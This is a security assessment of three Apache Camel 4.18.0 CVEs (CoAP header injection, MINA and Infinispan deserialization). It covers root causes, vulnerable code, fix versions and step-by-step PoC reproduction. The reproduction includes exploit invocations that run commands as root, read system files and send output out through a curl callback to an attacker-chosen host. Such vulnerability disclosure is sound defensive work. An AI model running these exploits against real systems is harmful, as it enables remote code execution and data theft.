Apache Camel 4.18.0 — CVE Security Assessment

Three critical vulnerabilities in Apache Camel 4.18.0, independently discovered and validated with working proof-of-concept exploits.

CVE	Component	Type	CVSS	Verdict
CVE-2026-33453	camel-coap	Header Injection → RCE	10.0 Critical	Exploitable
CVE-2026-40473	camel-mina	Unsafe Deserialization → RCE	9.8 Critical	Exploitable
CVE-2026-40858	camel-infinispan	Unsafe Deserialization	8.8 High	Exploitable

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CVE-2026-33453: CoAP Header Injection → Remote Code Execution

Component: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (Improperly Controlled Modification of Object Attributes) Fixed in: Camel 4.18.1 / 4.14.6

Root Cause

CamelCoapResource.handleRequest() maps CoAP URI query parameters directly into Camel Exchange headers via setHeader() with no HeaderFilterStrategy. CoAPEndpoint extends DefaultEndpoint instead of DefaultHeaderFilterStrategyEndpoint, so internal Camel*-prefixed headers can be injected by any unauthenticated client.

When the route forwards to camel-exec, the attacker-controlled CamelExecCommandExecutable and CamelExecCommandArgs headers override the configured command, achieving pre-authenticated RCE via a single UDP packet.

// CamelCoapResource.java:103-109 — NO HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

PoC Result

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...

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CVE-2026-40473: MINA Unsafe Deserialization → Remote Code Execution

Component: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (Deserialization of Untrusted Data) Fixed in: Camel 4.18.2 / 4.14.6 / 4.20.0

Root Cause

MinaConverter.toObjectInput(IoBuffer) creates a raw java.io.ObjectInputStream with no ObjectInputFilter. When a MINA endpoint is configured with allowDefaultCodec=false, raw TCP data arrives as an IoBuffer and reaches Camel's type converter, which calls this method — wrapping attacker-controlled network bytes in an unfiltered ObjectInputStream.

// MinaConverter.java:60-63 — NO ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // attacker-controlled bytes, NO FILTER
}

Attack path: The exploit targets a MINA TCP endpoint with allowDefaultCodec=false (port 9879 in the PoC). This bypasses MINA's codec layer entirely — the ObjectSerializationCodecFactory has its own ClassNameMatcher allowlist that would otherwise block arbitrary classes. With the codec disabled, raw bytes flow straight to MinaConverter.toObjectInput() which creates a standard ObjectInputStream with zero class filtering.

A CommonsCollections6 gadget chain (via ysoserial) achieves arbitrary command execution as root. Command output is exfiltrated via a curl callback to the attacker.

PoC Result

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

Reproducing CVE-2026-40473 Step-by-Step

Prerequisites

• Docker and Docker Compose
• Python 3.8+
• Java 17+ (for ysoserial)
• ysoserial — ysoserial-all.jar (CommonsCollections6 gadget)

Step 1: Build and Start the Vulnerable Server

cd poc/
docker compose up -d --build

Wait for the container to start, then verify:

docker logs vuln-camel-mina

You should see:

[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...

Port 9879 is the target — it uses allowDefaultCodec=false, which disables MINA's codec filter and lets raw IoBuffer reach Camel's unfiltered MinaConverter.toObjectInput().

Step 2: Confirm Deserialization (Probe Mode)

First, verify that the endpoint accepts and deserializes arbitrary Java objects with no ObjectInputFilter:

python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection

The probe sends a serialized HashMap. The server deserializes it via ObjectInputStream.readObject() with no InvalidClassException — confirming zero class filtering.

Step 3: Execute Commands (Full RCE)

With ysoserial available, exploit the unfiltered deserialization for arbitrary command execution:

# Execute 'id' — returns uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Read files
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# System info
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

The exploit generates a CommonsCollections6 gadget chain, sends it as raw bytes to port 9879, and captures the command output via a curl callback listener.

Exploit Options

usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           Target IP/hostname
  port             MINA TCP port (default: 9879)
  command          Command to execute (default: id)
  --ysoserial      Path to ysoserial.jar (auto-detected if not set)
  --callback-host  Host the container uses to reach you (default: host.docker.internal)
  --gadget         ysoserial gadget chain (default: auto — tries CC6, CC5, CC1)
  --probe          Probe mode only — confirm deserialization without RCE
  --raw            Send raw payload without MINA 4-byte frame (auto-enabled for port 9879)

Note: The --callback-host defaults to host.docker.internal (Docker Desktop). If running on Linux without Docker Desktop, use --callback-host 172.17.0.1 or your Docker bridge IP.

Step 4: Cleanup

cd poc/
docker compose down

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CVE-2026-40858: Infinispan Unsafe Deserialization

Component: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (Deserialization of Untrusted Data) Fixed in: Camel 4.18.2 / 4.14.7 / 4.20.0

Root Cause

DefaultExchangeHolderUtils.deserialize(byte[]) creates a ClassLoadingAwareObjectInputStream with no ObjectInputFilter. The DefaultExchangeHolderProtoAdapter routes Infinispan cache bytes directly to this method. An attacker with cache write access (Hot Rod port 11222 or REST API) injects a malicious serialized payload that is deserialized when the aggregation repository fetches the key.

This is the same vulnerability pattern as CVE-2024-22369, CVE-2024-23114, and CVE-2026-25747 — all unfixed instances of readObject() without an ObjectInputFilter in Camel's deserialization paths.

// DefaultExchangeHolderUtils.java:46-53 — NO ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // attacker-controlled
    }
}

Vulnerable Code

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Annotated Vulnerable Code

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Reproducing All Three CVEs

Prerequisites

• Docker and Docker Compose
• Python 3.8+
• Java 17+ (for ysoserial)
• ysoserial for full RCE gadget chains (CVE-2026-40473)

Build and Run

cd poc/
docker compose up -d --build

This starts:

• vuln-camel-coap — CoAP endpoint on UDP port 5683 with camel-exec route
• vuln-camel-mina — MINA TCP endpoints on ports 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory), and 9879 (raw TCP — primary attack target)
• infinispan — Infinispan server on port 11222
• vuln-camel-infinispan — Camel aggregation repository backed by Infinispan

Run Exploits

# CVE-2026-33453: CoAP Header Injection → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: MINA Unsafe Deserialization → RCE (see detailed instructions above)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: Infinispan Unsafe Deserialization
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

Cleanup

cd poc/
docker compose down

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Assessment Process

This assessment was performed using the RAPTOR autonomous security research framework:

1. Research — Identified all 3 CVEs, cross-referenced fix commits to determine Apache Camel 4.18.0 as the single vulnerable version
2. Source acquisition — Downloaded vulnerable components via git sparse-checkout (camel-coap, camel-mina, camel-infinispan)
3. Scan (/scan) — Automated vulnerability discovery across all 3 components
4. Understand (/understand --map) — Attack surface mapping: entry points, trust boundaries, sinks, unchecked data flows
5. Validate (/validate) — Full 8-stage exploitability validation pipeline (Stages 0 → A → B → C → D → E → F → 1) confirming all 3 findings are real, reachable, and exploitable
6. Exploit (/exploit) — Working PoC development with Docker-based testing environment
7. Documentation — Screenshots, exploit report, and this README

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Fixes

CVE	Fix Version	Change
CVE-2026-33453	4.18.1 / 4.14.6	CoAPEndpoint → extends DefaultHeaderFilterStrategyEndpoint; CoAPComponent → implements HeaderFilterStrategyComponent
CVE-2026-40473	4.18.2 / 4.14.6 / 4.20.0	Added ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") before readObject()
CVE-2026-40858	4.18.2 / 4.14.7 / 4.20.0	Added ObjectInputFilter allowlist (same pattern); falls back to JVM serial filter if configured

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Disclaimer

This research is for authorized security testing and educational purposes only. All exploits were tested against locally-built Docker containers running vulnerable software. Upgrade to the fixed versions listed above.